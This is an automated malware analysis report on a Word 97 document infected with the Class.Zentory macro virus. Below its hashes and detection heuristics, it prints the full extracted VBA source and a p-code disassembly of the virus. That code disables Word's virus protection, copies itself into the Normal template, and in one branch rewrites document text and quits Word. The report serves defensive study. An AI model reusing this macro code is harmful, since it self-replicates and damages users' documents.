Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d5856354d0dbcc49…

MALICIOUS

Office (OLE)

32.5 KB Created: 1998-09-29 04:20:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 33c6685e6c67ec441dbfc8f491827e05 SHA-1: 23fa34bcb93cfc0130b6e6d430b9b155514b4bdc SHA-256: d5856354d0dbcc49d34b16d6b290ca4b950c4b65a4e5ab515c3a7c9d2990de58
258 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and actively uses VBA macros, including AutoOpen and Auto_Close, indicating a malicious intent to infect the system. The script attempts to export and import VBA code, potentially infecting the Normal.dot template with malicious routines, and uses the filename 'c:\zentory$.ffo' for temporary storage. This behavior is consistent with a macro-based malware dropper.

Heuristics 7

  • ClamAV: Doc.Trojan.Class-36 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Class-36
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    Options.VirusProtection = False
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
        .replaceline 1, "Sub AutoClose()"
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.pgp.com/ In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10263 bytes
SHA-256: 6d81760d23f06827cb4360bf189be885b612a4e42a53caccb4dfa00d89f0b8db
Detection
ClamAV: Doc.Trojan.Class-30
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()

On Error GoTo 69

Options.VirusProtection = False

Options.SaveNormalPrompt = False

Options.ConfirmConversions = False

xz = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.CountOfLines

zx = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.CountOfLines

If zx > 120 And xz > 0 Then GoTo 69

If zx < 120 Then

    Set xsz = NormalTemplate.VBProject.VBComponents.Item(1)

    ActiveDocument.VBProject.VBComponents.Item(1).Name = xsz.Name

    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\zentory$.ffo"

End If

If xz = 0 Then Set xsz = ActiveDocument.VBProject.VBComponents.Item(1)

Infection = Int(Rnd * 100)

If Infection = 99 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(90) + Chr(69) + Chr(78) + Chr(84) + Chr(79) + Chr(82) + Chr(89) + Chr(32) + Chr(66) + Chr(121) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83)

If Application.Build = "8.0.4412" Then Call z2000

xsz.codemodule.AddFromFile ("c:\zentory$.ffo")

With xsz.codemodule

    For x = 1 To 4

    .deletelines 1

    Next x

End With

If zx < 120 Then

    With xsz.codemodule

    .replaceline 1, "Sub AutoClose()"

    .replaceline 123, "Sub ToolsMacro()"

    End With

End If

With xsz.codemodule

    For x = 2 To 122 Step 2

    .replaceline x, "'" & Application.Build & Application.StartupPath & Application.WindowState & Application.FocusInMailHeader & Application.ActiveWindow
    
Next x

End With

69:

If zx > 120 And xz = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName

End Sub

Private Sub z2000()

On Error Resume Next

        Selection.HomeKey Unit:=wdStory

        Selection.Find.ClearFormatting

        Selection.Find.Replacement.ClearFormatting

        With Selection.Find

            .Text = "the"

            .Replacement.Text = "Zentory"

            .Forward = True

            .Wrap = wdFindContinue

            .Format = False

            .MatchCase = False

            .MatchWholeWord = True

            .MatchAllWordForms = False

        End With

        Selection.Find.Execute Replace:=wdReplaceAll

If ActiveDocument.Saved = False Then ActiveDocument.Save

Rpx:

I = I + 1

Application.WindowState = wdWindowStateMinimize

Application.WindowState = wdWindowStateMaximize

If I < 10 Then GoTo Rpx

Application.Quit

End Sub

Sub ViewVBCode()
'Word97/Class.Zentory by Virus,Hi Vic.
End Sub








' Processing file: /tmp/qstore_4fqk2rpn
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5354 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' Line #2:
' 	OnError 69 
' Line #3:
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #5:
' Line #6:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #7:
' Line #8:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #9:
' Line #10:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St xz 
' Line #11:
' Line #12:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd codemodule 
' 	MemLd CountOfLines 
' 	St zx 
' Line #13:
' Line #14:
' 	Ld zx 
' 	LitDI2 0x0078 
' 	Gt 
' 	Ld xz 
' 	LitDI2 0x0000 
' 	Gt 
' 	And 
' 	If 
' 	BoSImplicit 
' 	GoTo 69 
' 	EndIf 
' Line #15:
' Line #16:
' 	Ld zx 
' 	LitDI2 0x0078 
' 	Lt 
' 	IfBlock 
' Line #17:
' Line #18:
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set xsz 
' Line #19:
' Line #20:
' 	Ld xsz 
' 	MemLd New 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemSt New 
' Line #21:
' Line #22:
' 	LitStr 0x000F "c:\zentory$.ffo"
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #23:
' Line #24:
' 	EndIfBlock 
' Line #25:
' Line #26:
' 	Ld xz 
' 	LitDI2 0x0000 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	SetStmt 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	Set xsz 
' 	EndIf 
' Line #27:
' Line #28:
' 	Ld Rnd 
' 	LitDI2 0x0064 
' 	Mul 
' 	FnInt 
' 	St Infection 
' Line #29:
' Line #30:
' 	Ld Infection 
' 	LitDI2 0x0063 
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x005A 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0045 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x004E 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0054 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x004F 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0052 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0059 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0042 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0079 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0020 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0056 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0069 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0052 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0075 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	LitDI2 0x0053 
' 	ArgsLd Chr 0x0001 
' 	Add 
' 	ArgsCall MsgBox 0x0001 
' 	EndIf 
' Line #31:
' Line #32:
' 	Ld Application 
' 	MemLd Build 
' 	LitStr 0x0008 "8.0.4412"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	ArgsCall (Call) z2000 0x0000 
' 	EndIf 
' Line #33:
' Line #34:
' 	LitStr 0x000F "c:\zentory$.ffo"
' 	Paren 
' 	Ld xsz 
' 	MemLd codemodule 
' 	ArgsMemCall AddFromFile 0x0001 
' Line #35:
' Line #36:
' 	StartWithExpr 
' 	Ld xsz 
' 	MemLd codemodule 
' 	With 
' Line #37:
' Line #38:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	LitDI2 0x0004 
' 	For 
' Line #39:
' Line #40:
' 	LitDI2 0x0001 
' 	ArgsMemCallWith deletelines 0x0001 
' Line #41:
' Line #42:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #43:
' Line #44:
' 	EndWith 
' Line #45:
' Line #46:
' 	Ld zx 
' 	LitDI2 0x0078 
' 	Lt 
' 	IfBlock 
' Line #47:
' Line #48:
' 	StartWithExpr 
' 	Ld xsz 
' 	MemLd codemodule 
' 	With 
' Line #49:
' Line #50:
' 	LitDI2 0x0001 
' 	LitStr 0x000F "Sub AutoClose()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #51:
' Line #52:
' 	LitDI2 0x007B 
' 	LitStr 0x0010 "Sub ToolsMacro()"
' 	ArgsMemCallWith replaceline 0x0002 
' Line #53:
' Line #54:
' 	EndWith 
' Line #55:
' Line #56:
' 	EndIfBlock 
' Line #57:
' Line #58:
' 	StartWithExpr 
' 	Ld xsz 
' 	MemLd codemodule 
' 	With 
' Line #59:
' Line #60:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	LitDI2 0x0002 
' 	LitDI2 0x007A 
' 	LitDI2 0x0002 
' 	ForStep 
' Line #61:
' Line #62:
' 	Ld x 
' 	LitStr 0x0001 "'"
' 	Ld Application 
' 	MemLd Build 
' 	Concat 
' 	Ld Application 
' 	MemLd StartupPath 
' 	Concat 
' 	Ld Application 
' 	MemLd WindowState 
' 	Concat 
' 	Ld Application 
' 	MemLd FocusInMailHeader 
' 	Concat 
' 	Ld Application 
' 	MemLd ActiveWindow 
' 	Concat 
' 	ArgsMemCallWith replaceline 0x0002 
' Line #63:
' Line #64:
' 	StartForVariable 
' 	Ld x 
' 	EndForVariable 
' 	NextVar 
' Line #65:
' Line #66:
' 	EndWith 
' Line #67:
' Line #68:
' 	LineNum 69 
' 	BoS 0x0000 
' Line #69:
' Line #70:
' 	Ld zx 
' 	LitDI2 0x0078 
' 	Gt 
' 	Ld xz 
' 	LitDI2 0x0000 
' 	Eq 
' 	And 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	MemLd FullName 
' 	ParamNamed FileName 
' 	Ld ActiveDocument 
' 	ArgsMemCall SaveAs 0x0001 
' 	EndIf 
' Line #71:
' Line #72:
' 	EndSub 
' Line #73:
' Line #74:
' 	FuncDefn (Private Sub z2000())
' Line #75:
' Line #76:
' 	OnError (Resume Next) 
' Line #77:
' Line #78:
' 	Ld wdStory 
' 	ParamNamed Unit 
' 	Ld Selection 
' 	ArgsMemCall HomeKey 0x0001 
' Line #79:
' Line #80:
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #81:
' Line #82:
' 	Ld Selection 
' 	MemLd Find 
' 	MemLd Replacement 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #83:
' Line #84:
' 	StartWithExpr 
' 	Ld Selection 
' 	MemLd Find 
' 	With 
' Line #85:
' Line #86:
' 	LitStr 0x0003 "the"
' 	MemStWith Then 
' Line #87:
' Line #88:
' 	LitStr 0x0007 "Zentory"
' 	MemLdWith Replacement 
' 	MemSt Then 
' Line #89:
' Line #90:
' 	LitVarSpecial (True)
' 	MemStWith Forward 
' Line #91:
' Line #92:
' 	Ld wdFindContinue 
' 	MemStWith Wrap 
' Line #93:
' Line #94:
' 	LitVarSpecial (False)
' 	MemStWith Format$ 
' Line #95:
' Line #96:
' 	LitVarSpecial (False)
' 	MemStWith MatchCase 
' Line #97:
' Line #98:
' 	LitVarSpecial (True)
' 	MemStWith MatchWholeWord 
' Line #99:
' Line #100:
' 	LitVarSpecial (False)
' 	MemStWith MatchAllWordForms 
' Line #101:
' Line #102:
' 	EndWith 
' Line #103:
' Line #104:
' 	Ld wdReplaceAll 
' 	ParamNamed Replace 
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall Execute 0x0001 
' Line #105:
' Line #106:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	LitVarSpecial (False)
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	Ld ActiveDocument 
' 	ArgsMemCall Save 0x0000 
' 	EndIf 
' Line #107:
' Line #108:
' 	Label Rpx 
' Line #109:
' Line #110:
' 	Ld I 
' 	LitDI2 0x0001 
' 	Add 
' 	St I 
' Line #111:
' Line #112:
' 	Ld wdWindowStateMinimize 
' 	Ld Application 
' 	MemSt WindowState 
' Line #113:
' Line #114:
' 	Ld wdWindowStateMaximize 
' 	Ld Application 
' 	MemSt WindowState 
' Line #115:
' Line #116:
' 	Ld I 
' 	LitDI2 0x000A 
' 	Lt 
' 	If 
' 	BoSImplicit 
' 	GoTo Rpx 
' 	EndIf 
' Line #117:
' Line #118:
' 	Ld Application 
' 	ArgsMemCall Quit 0x0000 
' Line #119:
' Line #120:
' 	EndSub 
' Line #121:
' Line #122:
' 	FuncDefn (Sub ViewVBCode())
' Line #123:
' 	QuoteRem 0x0000 0x0025 "Word97/Class.Zentory by Virus,Hi Vic."
' Line #124:
' 	EndSub 
' Line #125:
' Line #126:
' Line #127:
' Line #128:
' Line #129:
' Line #130:
' Line #131:

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